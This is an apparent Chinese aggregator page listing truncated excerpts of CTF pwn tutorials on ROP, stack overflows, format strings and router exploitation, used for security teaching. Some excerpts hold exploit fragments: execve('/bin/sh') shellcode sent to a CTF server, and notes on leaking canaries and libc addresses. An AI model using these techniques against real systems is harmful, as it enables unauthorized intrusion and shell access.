pwn-ROP(2)】的更多相关文章

作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellcode的变形>一节中,我们提到过内存页的RWX三种属性.显然,如果某一页内存没有可写(W)属性,我们就无法向里面写入代码,如果没有可执行(X)属性,写入到内存页中的shellcode就无法执行.关于这个特性的实验在此不做展开,大家可以尝试在调试时修改EIP和read()/scanf()/gets()等函数…
前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@ubuntu:0x00ctf $ checksec ./babyheap [*] '/home/haclh/workplace/0x00ctf/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX en…
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本. 课程回顾>> Linux Pwn入门教程第一章:环境配置 Linux Pwn入门教程…
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本. 课程回顾>> Linux Pwn入门教程第一章:环境配置 Linux Pwn入门教程…
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/ShellCode_Required/stack_bof_02 , 同样是一个简单的栈溢出,不过这个程序里面没有提供 getshell 的函数,需要我们执行shellcode来实现.这个正好实战下前文: 一步一步pwn路由器之路由器环境修复&&rop技术分析,中分析的在mips下的通用的rop技术.…
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 拿到路由器的固件后,第一时间肯定是去运行目标程序,一般是web服务程序.我们可以去 /etc/init.d/ 找启动文件,或者看看一些有可能的目录.一般来说路由器的程序很少的情况下是可以直接用qemu运行起来的.我们需要做一些修复的工作,本文会介绍一个常用的方法,后面会分析在 mips uclibc 中常用的 rop 手法. 正文 运行环境修复 由于路由器运行时会…
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 $$ From this challenge I find it better to learn about ELF file type & C program's construction You'd better learn how to use pwntool or zio fluently T…
一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等).上次我们主要讨论了linux_x86的ROP攻击:<一步一步学ROP之linux_x86篇>,在这次的教程中我们会带来上一篇的补充以及linux_x64方面的ROP利用方法,欢迎大家继续学习. 另外文中涉及代码可在我的github下载:https://githu…
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1') p=remote('106.75.9.11',20000) nop='\x90'*19 buf='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x8…
当程序开启了nx,但程序有syscall调用的时候.这时栈溢出的利用就可以通过rop来执行syscall的59号调用execve('/bin/sh',null,null),这是这次alictf一道pwn的心得. ida配合gdb定位程序漏洞如下: signed __int64 __fastcall sub_40108E(__int64 a1) { signed __int64 result; // rax@3 __int64 v2; // rdx@4 int v3; // [sp+10h] [b…
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可执行 ASLR:内存地址随机化,在linux和pie相结合,aslr是系统是否开启,有0.1.2三个等级,而pie是程序自身是否开启,两者共同作用有不同的效果,如下图. Canary(GS):栈保护,栈被溢出时,会触发异常 RELRO:GOT不可更改 0x02 栈溢出 额外说一句,gcc如何对各种保…
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shellcode的空间内写入egg_hunter使其去找到真正的shellcode所在的地址执行拿到shell. 首先拿到题目用ida去查看: 题目首先通过sub_8B0()生成了一个1000以内的随机数用来给dword_305C申请地址,这里用的malloc申请的地址是存在在堆中的,然后题目会把申请到的…
原文地址https://segmentfault.com/a/1190000007406442,源代码地址https://github.com/zhengmin1989/ROP_STEP_BY_STEP(冒昧的贴一下, 本文有一些作为一只菜鸡的思考,原文蒸米大大可能站的角度比较高,有的地方没有写清楚,这里权当补充一下 首先是level4,源代码如下 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #i…
0.64位程序参数一次保存在RDI,RSI,RDX,RCX,R8和 R9,具体见图 windows64位调用约定 1.<_libc_csu_init>有一些万能gadget,汇编如下 #!bash 00000000004005a0 <__libc_csu_init>: 4005a0: 6c d8 mov %rbp,-0x28(%rsp) 4005a5: 4c e0 mov %r12,-0x20(%rsp) 4005aa: 8d 2d lea 0x200873(%rip),%rbp…
本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路和心得记录了一下,希望能给入门pwn的朋友带来点帮助和启发,大牛轻喷 题目链接:https://www.jarvisoj.com/challenges1.level0(64位)代码<ignore_js_op><ignore_js_op> 也就是输出Hello World以后接收一个输出…
作者:Tangerine@SAINTSEC 本系列的最后一篇 感谢各位看客的支持 感谢原作者的付出一直以来都有读者向笔者咨询教程系列问题,奈何该系列并非笔者所写[笔者仅为代发]且笔者功底薄弱,故无法解答,望见谅如有关于该系列教程的疑问建议联系论坛的原作者ID:Tangerine 0x00 got表.plt表与延迟绑定 在之前的章节中,我们无数次提到过got表和plt表这两个结构.这两个表有什么不同?为什么调用函数要经过这两个表?ret2dl-resolve与这些内容又有什么关系呢?本节我们将通过…
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进行调用,例如 char s[20] = “Hello world!\n”; printf(“%s”, s); 然而,有时候为了省事也会写成 char s[20] = “Hello world!\n”; printf(s); 事实上,这是一种非常危险的写法.由于printf函数族的设计缺陷,当其第一个…
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进行调用,例如 然而,有时候为了省事也会写成 事实上,这是一种非常危险的写法.由于printf函数族的设计缺陷,当其第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作. 0×01 利用…
前言 比赛的一个 arm 64 位的 pwn 题,通过这个题实践了 arm 64 下的 rop 以及调试环境搭建的方式. 题目文件 https://gitee.com/hac425/blog_data/tree/master/arm64 程序分析 首先看看程序开的保护措施,架构信息 hac425@ubuntu:~/workplace$ checksec pwn [*] '/home/hac425/workplace/pwn' Arch: aarch64-64-little RELRO: Part…
目标程序下载 提取码:5o0a 环境:Ubuntu linux 工具 pwn-gdb pwntools python库 ROPgadget ( 这些工具可以到github官网找) 1.检查程序开了哪些安全机制 checksec 检查保护机制 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found 金丝雀 NX: NX enabled 栈不可执行Windows平台上称其为DEP PIE: No PIE (0x8048000) 内存地…
栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞利用开发协助 pwndbg:和PEDA类似,GDB插件 pwntools:写exp和poc的利器(python库) checksec:检查elf程序的安全性和程序的运行平台(一般来说peda里面自带的就够了) objdump和readelf:可以很快的知道elf程序中的关键信息(Ubuntu自带) ROPga…
前言 对 0ctf2018 的 pwn 做一个总结 正文 babystack 漏洞 非常直接的 栈溢出 ssize_t sub_804843B() { char buf; // [esp+0h] [ebp-28h] return read(0, &buf, 0x40u); } 这个题的难点在于 用 python 启动了该程序同时过滤了 stdout 和 stdout #!/usr/bin/python -u # encoding: utf-8 from pwn import * import r…
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了标注,如有遗漏,请提醒. 环境搭建 对于 ctf 中的 pwn 一般都是给一个 linux 内核文件 和一个 busybox 文件系统,然后用 qemu 启动起来.而且我觉得用 qemu 调试时 gdb 的反应比较快,也没有一些奇奇怪怪的问题.所以推荐用 qemu 来调,如果是真实漏洞那 vmwar…
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面已经分析完漏洞,并且搭建好了调试环境,本文将介绍如何利用漏洞写出 exploit 正文 控制 eip 看看我们现在所拥有的能力 我们可以利用 alloca 的 sub esp * 把栈抬高,然后往 那里写入数据. 现在的问题是我们栈顶的上方有什么重要的数据是可以修改的. 一般情况下,我们是没办法利用的,因为 栈上面就是 堆, 而他们之间的地址是不固定的. 为了…
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 本文目的是以一道比较简单的 ctf 的练手,为后面的分析 RouterOs 的 漏洞和写 exploit 打基础. Seccon CTF quals 2016 的一道题. 题目,idb 文件: https://gitee.com/hac425/blog_data/tree/master/pwn_with_alloca 正文 首先看看 main 函数的代码. 逻辑还…
前言 hitcon 2017 的 start 题,比较简单,练练手. 题目链接: https://gitee.com/hac425/blog_data/tree/master/hitcon2017 正文 往 rbp-0x20 读入 0xd9 的数据,溢出. 程序开了 cancary ,又后面直接 puts 把我们输入的打印出来 我们可以直接溢出到 cancary, 然后用 puts 泄露 cancary, 这里有个小 tips , cancary 的最低位 为 \x00, 我们需要多多溢出一个…
pwn200 漏洞给的很明显,先是读到了main的局部数组中,然后在子函数中向子函数的局部数组栈里复制. 总体思路是leak system的地址,然后再向一个固定地址写入/bin/sh,最后执行system函数 leak使用pwn库的DynELF实现,整体使用rop链. //ida伪代码 int __fastcall echo(__int64 a1) { char s2[]; // [sp+10h] [bp-10h]@2 for ( i = ; *(_BYTE *)(i + a1); ++i )…
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 正式进入路由器的世界了.感觉路由器这块就是固件提取,运行环境修复比较麻烦,其他部分和一般的 pwn 差不多.由于大多数路由器是 mips 架构的,本文就以搭建 MIPS运行.调试平台 为例介绍环境的搭建.其他架构类似. 正文 安装 与 配置 Qemu: apt-get install qemu apt-get install qemu-user-static ap…
原文地址:http://drops.wooyun.org/tips/6597 0×00 序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等).虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来linux_x64以及android (arm)方面的ROP利用方法,欢迎大家继续学习.…
GDB分析ELF文件常用的调试技巧 gdb常用命令 首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试 为了方便查看堆栈和寄存器 最好是安装peda插件 安装 可以通过pip直接安装,也可以从github上下载安装 $ pip install peda $ git clone https://github.com/longld/peda.git ~/peda $ echo "source ~/peda/peda.py" >> ~/.gdbinit 命…